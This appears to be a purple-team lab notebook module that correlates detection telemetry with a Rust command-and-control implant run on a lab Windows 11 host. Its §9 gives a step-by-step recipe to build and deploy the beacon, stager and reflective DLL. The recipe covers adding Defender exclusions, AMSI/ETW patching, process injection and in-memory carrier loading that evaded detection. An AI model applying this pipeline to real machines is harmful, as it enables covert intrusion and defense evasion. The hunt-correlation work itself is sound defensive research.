Module 26 — c2_rust Win11 Implant Hunt Correlation
Module 26 — c2_rust Win11 Implant Hunt Correlation
2026-09-01 — Ran test_windows11_implant_series.sh on lab .114. All implant steps PASS with Defender exclusion. Sysmon and Security logs confirm the hunt workbook patterns at higher fidelity (C2 beacon parent chain, in-process BOF vs process spawn).
New: §9 documents the full beacon build → deploy → operate pipeline. In-memory load paths are in Module 27.
Prerequisites: Sysmon hunt workbook · Tools on .114 · c2_rust platform lab
1. What we ran
From MiniMac:
cd ~/code/c2_fam/c2_rust && source tools/platform_lab/env.sh
./tools/platform_lab/test_windows11_implant_series.sh
| Phase | Step | Result |
|---|---|---|
| A | Remove exclusion, redeploy | Beacon alive (deploy re-added exclusion — see note below) |
| A | Linux + Win11 enum | PASS |
| B | BOF whoami | PASS — whoami: tester808 |
| B | patch_amasi / patch_etw | PASS |
| B | spawn_inject → notepad | PASS — PID 11832 |
| Final | Both beacons alive | PASS |
Telemetry JSONL: c2_fam/c2_rust/tools/platform_lab/results/telemetry/20260901T175*.jsonl
2. Hunt workbook correlation
Maps Module 24 expectations to c2_rust implant activity.
| Workbook layer | Benign hunt scenario (Module 24) | c2_rust implant series (this run) |
|---|---|---|
| Sysmon 1 | powershell.exe child of parent shell |
notepad.exe child of platform-agent.exe at 10:54:08 |
| Sysmon 1 | SSH → cmd → powershell chain | Same chain during deploy + Get-MpComputerStatus via beacon |
| Sysmon 11 | %TEMP%\hunt-lab-*.txt |
c2_lab\windows_deploy.ps1, run_beacon.cmd, BOF tarball extract |
| Sysmon 3 | sshd.exe network |
Present (SSH deploy + operator polling) |
| Security 4688 | PowerShell with command line | 65 events in 25m window; notepad create auditable |
| Defender 1116/1121 | None (benign) | 0 detections — exclusion on C:\Users\tester808\c2_lab |
| In-process BOF | N/A in Module 24 | whoami BOF — no whoami.exe Sysmon 1 (in-process only) |
| GUI (ProcExp) | Parent chain visible | VNC: look for platform-agent → Notepad after spawn_inject |
Key Sysmon proof (live pull)
Sysmon 1 @ 10:54:08
Image: ...\Notepad\Notepad.exe
Parent: C:\Users\tester808\c2_lab\platform-agent.exe
CmdLine: C:\Windows\System32\notepad.exe
Sysmon 1 @ 10:54:19
Image: powershell.exe
Parent: platform-agent.exe
CmdLine: Get-MpComputerStatus ... (defender-series telemetry task)
3. Telemetry counts (harness JSONL)
| Checkpoint | Sysmon 1 | Sysmon 11 | Defender | 4688 | Detections |
|---|---|---|---|---|---|
| post-redeploy | 217 | 25 | 4×5007 (config) | 114 | 0 |
| post-enum | 182 | 22 | 4×5007 | 114 | 0 |
| post-bof-whoami | 225 | 28 | 4×5007 | 115 | 0 |
| post-evasion-stubs | 225 | 29 | 4×5007 | 115 | 0 |
| post-spawn-inject | 224 | 30 | 4×5007 | 116 | 0 |
Defender 5007 = configuration change (exclusion add/remove during series).
4. Hunt exercise — do this on VNC
Use Module 24 GUI section with these filters:
- ProcExp — find
platform-agent.exe(pathC:\Users\tester808\c2_lab\). - Re-run spawn_inject from harness or trigger notepad manually; confirm child Notepad under
platform-agent. - Procmon — filter
Process Name is platform-agent.exe+Path contains c2_lab. - Fill Module 24 correlation worksheet with:
- Hunt tag:
c2-implant-20260901 - Child PID: from spawn_inject output (e.g. 11832)
- Sysmon 1 time: match notepad create above
- Hunt tag:
Re-run correlation script (SSH)
scp ~/code/c2_fam/c2_rust/tools/platform_lab/scripts/win_hunt_correlate.ps1 \
tester808@192.168.50.114:/tmp/
ssh tester808@192.168.50.114 \
"powershell -NoProfile -ExecutionPolicy Bypass -File C:/tmp/win_hunt_correlate.ps1 -SinceMinutes 30"
5. Gaps and next hunts
| Gap | Impact | Next step |
|---|---|---|
Done 2026-09-01 — test_windows11_no_exclusion.sh PASS; Defender blocks Move-Item on .exe.new |
||
| ASR obfuscated-scripts block | Not triggered by implant series | Dedicated PowerShell obfuscation scenario |
| No-exclusion disk matrix | Not run on .114 |
MATRIX_WIN_PLATFORM=windows11 RUN_MATRIX=1 |
| 4688 cmdline on notepad | Security event sparse in pull | Verify advanced audit policy includes command line |
7. No-exclusion quarantine test (2026-09-01)
./tools/platform_lab/test_windows11_no_exclusion.sh
| Signal | Observed |
|---|---|
Deploy Move-Item |
Blocked — "virus or potentially unwanted software" |
platform-agent.exe on disk |
Quarantined (only .exe.new remnants detected) |
| Beacon process | Dead for full 30s poll |
| Defender 1116 | 4 events (detection) |
| Defender 1117 | 3 events (action taken) |
| Threat resources | c2_lab\platform-agent.exe, platform-agent.exe.new |
| Lab restore | Exclusion re-added → deploy + echo PASS |
Hunt takeaway: With exclusion removed, Defender catches the beacon at file rename (before scheduled task even runs). Sysmon may show fewer platform-agent process creates than the exclusion path — hunt for 1116 + quarantined path instead of parent-child chains.
Compare to Module 24: benign hunt sees Sysmon 1/11; quarantine hunt leads with Defender Operational 1116/1117 and missing final exe on disk.
8. Carrier drop without exclusion (2026-09-01)
agentctl/comet priority #1 — validated on .114:
./tools/platform_lab/test_windows11_carrier_drop.sh
| Step | Result |
|---|---|
| Living beacon (exclusion during deploy) | PASS |
Drop network-metrics.txt + agent.token to c2_drop/ |
PASS — no Defender detection |
hybrid_load from carrier |
PASS — 6.1 MB DLL mapped in memory |
| Beacon survives | PASS |
| PE files in drop dir | 0 |
Hunt pattern: Sysmon 11 on large text carrier under user c2_drop; no Sysmon 1 for new exe; compare to direct PE deploy (Module 26 §7).
See Module 27 for deploy_child results (PE quarantined without exclusion).
9. How we built the beacon — step-by-step development pipeline
This section documents how the lab beacon is produced and deployed on .114 using c2_rust. It complements the hunt-correlation sections above (what telemetry looks like after the beacon runs). For in-memory load paths (carrier, UDRL, stager), see Module 27 § Beacon load pipelines.
9.1 Artifact model
c2_rust ships several Windows PE shapes from one codebase. On .114 we use three:
| Artifact | Build target | Typical size | Role on .114 |
|---|---|---|---|
platform-agent.exe |
c2-rust binary (full-cli) |
~8 MB | Primary disk beacon — polls controller, runs tasks |
beacon.dll |
c2_rust cdylib (stager + beacon-dll) |
~6 MB | Full implant loaded in memory (UDRL / carrier) |
beacon-stager.exe |
beacon-stager binary (stager) |
~4 MB | Thin disk stager — udrl_load only, then hands off to DLL |
All three share beacon_launcher::run_beacon() — the same agent loop, TLS, and task dispatcher. The difference is entry point (EXE main vs DLL DllMain vs stager caps) and capability set.
flowchart TB
subgraph build [MiniMac build host]
A[cargo zigbuild x86_64-pc-windows-gnu]
A --> B[platform-agent.exe]
A --> C[beacon-stager.exe]
A --> D[beacon.dll cdylib]
end
subgraph deploy [SSH to .114]
E[deploy_target.sh]
E --> F[c2_lab install root]
F --> G[windows_deploy.ps1]
G --> H[platform-agent process]
end
subgraph operate [Operator on MiniMac]
I[Controller :18765 + Caddy :8765]
J[provision_agent + engagement]
H -->|HTTPS mTLS check-in| I
J -->|queue task| H
end
B --> E9.2 Step 1 — Build the Windows beacon EXE (full implant host)
On MiniMac (~/code/c2_fam/c2_rust):
cd ~/code/c2_fam/c2_rust
cargo zigbuild --release --target x86_64-pc-windows-gnu
What this produces
| Output | Path |
|---|---|
| Operator + server CLI | target/x86_64-pc-windows-gnu/release/c2-rust.exe |
| Renamed at deploy time | platform-agent.exe on the victim |
Cargo features involved
full-cli(default) — compilessrc/main.rswithbeacon,server,operatorsubcommands.- Windows BOF shim —
build.rscompilessrc/bof/beacon_shim.cwhenCARGO_CFG_WINDOWSis set.
The beacon subcommand ultimately calls the same launcher as the stager:
async fn run_beacon(args: BeaconArgs) -> Result<(), Box<dyn std::error::Error>> {
c2_rust::beacon_launcher::run_beacon(c2_rust::beacon_launcher::BeaconLaunchOptions {
9.3 Step 2 — Build Phase-9 artifacts (stager + reflective DLL)
For stager/UDRL lab paths, run the platform-lab builder:
./tools/platform_lab/build_beacon_phase9.sh
Commands inside the script
# Thin stager EXE — udrl_load, patch_amasi, patch_etw, upload, …
cargo zigbuild --profile release --target x86_64-pc-windows-gnu \
--no-default-features --features stager --bin beacon-stager
# Full implant as reflective DLL
cargo zigbuild --profile release --target x86_64-pc-windows-gnu \
--no-default-features --features "stager,beacon-dll" --lib
Outputs (copied to tools/platform_lab/phase9_artifacts/):
| File | Source | SHA manifest |
|---|---|---|
beacon-stager.exe |
target/.../beacon-stager.exe |
manifest.json |
beacon.dll |
target/.../c2_rust.dll → renamed |
manifest.json |
Stager source (src/bin/beacon_stager.rs) — hard-coded thin capability list, reads agent.token / TLS files from install root, sets C2_INSTALL_ROOT / C2_BEACON_URL / C2_BEACON_ID env for child UDRL handoff:
let capabilities = vec![
"echo".into(),
"system_info".into(),
"shell".into(),
"powershell".into(),
"upload".into(),
"download".into(),
"patch_amasi".into(),
"patch_etw".into(),
"udrl_load".into(),
"dllload".into(),
];
DLL entry (src/beacon_dll_entry.rs) — on DLL_PROCESS_ATTACH, spawns a thread that calls run_beacon() with full implant capabilities (BOF, inject, hybrid_load, etc.). Used when udrl_load maps the DLL with invoke_entry: true.
9.4 Step 3 — Build lab BOFs (implant series)
Implant tests need COFF BOFs on disk:
./tools/platform_lab/build_lab_bofs.sh
Produces tools/platform_lab/bofs/{whoami,patch_amasi,patch_etw}/ with manifest.json. Deploy bundles them as bofs.tgz when C2_WINDOWS_IMPLANT=1.
9.5 Step 4 — Stand up controller + TLS on MiniMac
Every harness script starts with:
source tools/platform_lab/env.sh
# Implicit: start_controller_stack via lib.sh
| Component | Bind | Purpose |
|---|---|---|
c2-rust server |
127.0.0.1:18765 |
SQLite controller, agent registry, task queue |
| Caddy TLS proxy | 192.168.50.127:8765 |
mTLS front door beacons use |
| Lab TLS material | tools/platform_lab/tls/lab/ |
CA + per-agent client certs (gen_lab_tls.sh) |
Provision agent credentials (before deploy):
c2-rust operator provision-agent \
--agent lab-beacon-win11 \
--capability echo --capability shell … \
--tenant default
Returns a one-time agent token written to agent.token on the victim.
Create engagement (before operator tasks):
c2-rust operator engagement-create \
--id win11-implant-$(date +%s) \
--agent lab-beacon-win11 \
--action echo --action bof --action spawn_inject …
Engagements gate which actions the operator may queue. Implant actions (bof, inject, udrl_load, …) require approval in the harness (approve_platform_engagement).
9.6 Step 5 — Deploy to .114 (deploy_target.sh)
Full implant deploy (what test_windows11_implant_series.sh uses):
cd ~/code/c2_fam/c2_rust && source tools/platform_lab/env.sh
C2_WINDOWS_IMPLANT=1 ./tools/platform_lab/deploy_target.sh windows11
Ordered steps inside deploy_target.sh
| # | Action | Detail |
|---|---|---|
| 1 | platform_win_select windows11 |
Host 192.168.50.114, user tester808, agent lab-beacon-win11 |
| 2 | ensure_deploy_engagement |
Engagement with deploy caps if not already set |
| 3 | start_controller_stack |
Controller + Caddy healthy |
| 4 | provision_agent |
Mint token for lab-beacon-win11 |
| 5 | defender_add_exclusion |
Default: exclude C:\Users\tester808\c2_lab |
| 6 | SSH New-Item |
Create c2_lab/, workspace/, state/ |
| 7 | SCP staging | agent.token, ca.pem, identity.pem, platform-agent.exe.new, windows_deploy.ps1 |
| 8 | Remote Move-Item |
Rename .exe.new → platform-agent.exe (Defender watches this — see §7) |
| 9 | SCP + extract bofs.tgz |
When C2_WINDOWS_IMPLANT=1 |
| 10 | Run windows_deploy.ps1 |
Register scheduled task / StartProcess, launch beacon |
Capability list with implant flag
# Base
echo system_info shell powershell run upload download deploy_child
# Added when C2_WINDOWS_IMPLANT=1
read_text list_files hash_file bof patch_amasi patch_etw inject spawn_inject \
udrl_load unhook_ntdll hybrid_load dllload
9.7 Step 6 — Launch on the victim (windows_deploy.ps1)
SCP'd to C:\Users\tester808\c2_lab\windows_deploy.ps1. It:
- Validates
platform-agent.exe,agent.token,ca.pem,identity.pemexist. - Stops any prior process under the install root.
- Builds argument line:
beacon --url https://192.168.50.127:8765 --token-file … --tls-ca-file … --id lab-beacon-win11 --capability … - Writes
run_beacon.cmdwrapper (logs tobeacon.log). - Launches via
-LaunchMethod(ScheduledTaskdefault on Win10;StartProcesson Win11 lab after task scheduler failures on.114).
Install layout on .114
C:\Users\tester808\c2_lab\
├── platform-agent.exe # full beacon binary
├── agent.token # provisioned credential
├── ca.pem # lab CA
├── identity.pem # mTLS client cert (lab-beacon-win11)
├── windows_deploy.ps1
├── run_beacon.cmd
├── beacon.log
├── workspace\ # per-task scratch
├── state\ # agent state / outbox
└── bofs\ # COFF BOFs (implant mode)
├── whoami\
├── patch_amasi\
└── patch_etw\
9.8 Step 7 — Operate (controller ↔ beacon loop)
Once the process is running:
sequenceDiagram participant Op as Operator CLI participant C as Controller :18765 participant P as Caddy :8765 participant B as platform-agent.exe B->>P: HTTPS POST check-in (mTLS) P->>C: proxy C-->>B: pending tasks B->>B: run_action (shell, bof, …) B->>P: task result Op->>C: queue_task (engagement, agent, action) C-->>B: next poll delivers task
Harness helpers (tools/platform_lab/lib.sh):
| Function | Purpose |
|---|---|
run_echo_check |
Queue echo, wait for result — liveness |
run_action_task |
Queue any action, poll wait_task |
verify_agent_ops |
echo + system_info + shell + powershell |
capture_win_telemetry |
Pull Sysmon / Defender / 4688 counts to JSONL |
Implant series (test_windows11_implant_series.sh) exercises this loop:
- Deploy with implant caps.
run_bof_task→ whoami (in-process, nowhoami.exeSysmon 1).patch_amasi/patch_etw→ BOF stubs.spawn_inject→notepad.exechild ofplatform-agent.exe(Sysmon 1 proof in §2).
9.9 Source code map (beacon development)
| Concern | Path |
|---|---|
| Beacon bootstrap | src/beacon_launcher.rs |
| Task dispatcher / actions | src/agent.rs |
| Protocol + capability validation | src/protocol.rs |
| BOF loader | src/bof/ |
| UDRL / reflective load | src/evasion/udrl/win.rs |
| Hybrid carrier codec | src/evasion/hybrid_pack.rs |
| Windows deploy script | tools/platform_lab/windows_deploy.ps1 |
| Deploy orchestration | tools/platform_lab/deploy_target.sh |
| Platform harness | tools/platform_lab/lib.sh |
| Phase-9 builder | tools/platform_lab/build_beacon_phase9.sh |
9.10 Quick re-create checklist (.114)
cd ~/code/c2_fam/c2_rust
source tools/platform_lab/env.sh
# 1. Build
cargo zigbuild --release --target x86_64-pc-windows-gnu
./tools/platform_lab/build_beacon_phase9.sh # optional: stager + DLL
./tools/platform_lab/build_lab_bofs.sh # if running implant series
# 2. Deploy + implant
C2_WINDOWS_IMPLANT=1 ./tools/platform_lab/deploy_target.sh windows11
# 3. Run implant series + hunt correlation
./tools/platform_lab/test_windows11_implant_series.sh
6. Related
- c2_rust docs:
~/code/c2_fam/c2_rust/docs/WINDOWS11_LAB.md - Lab baseline: 20-lab-baseline-win11-114
- Defender architecture: 19-defender-architecture-and-rulesets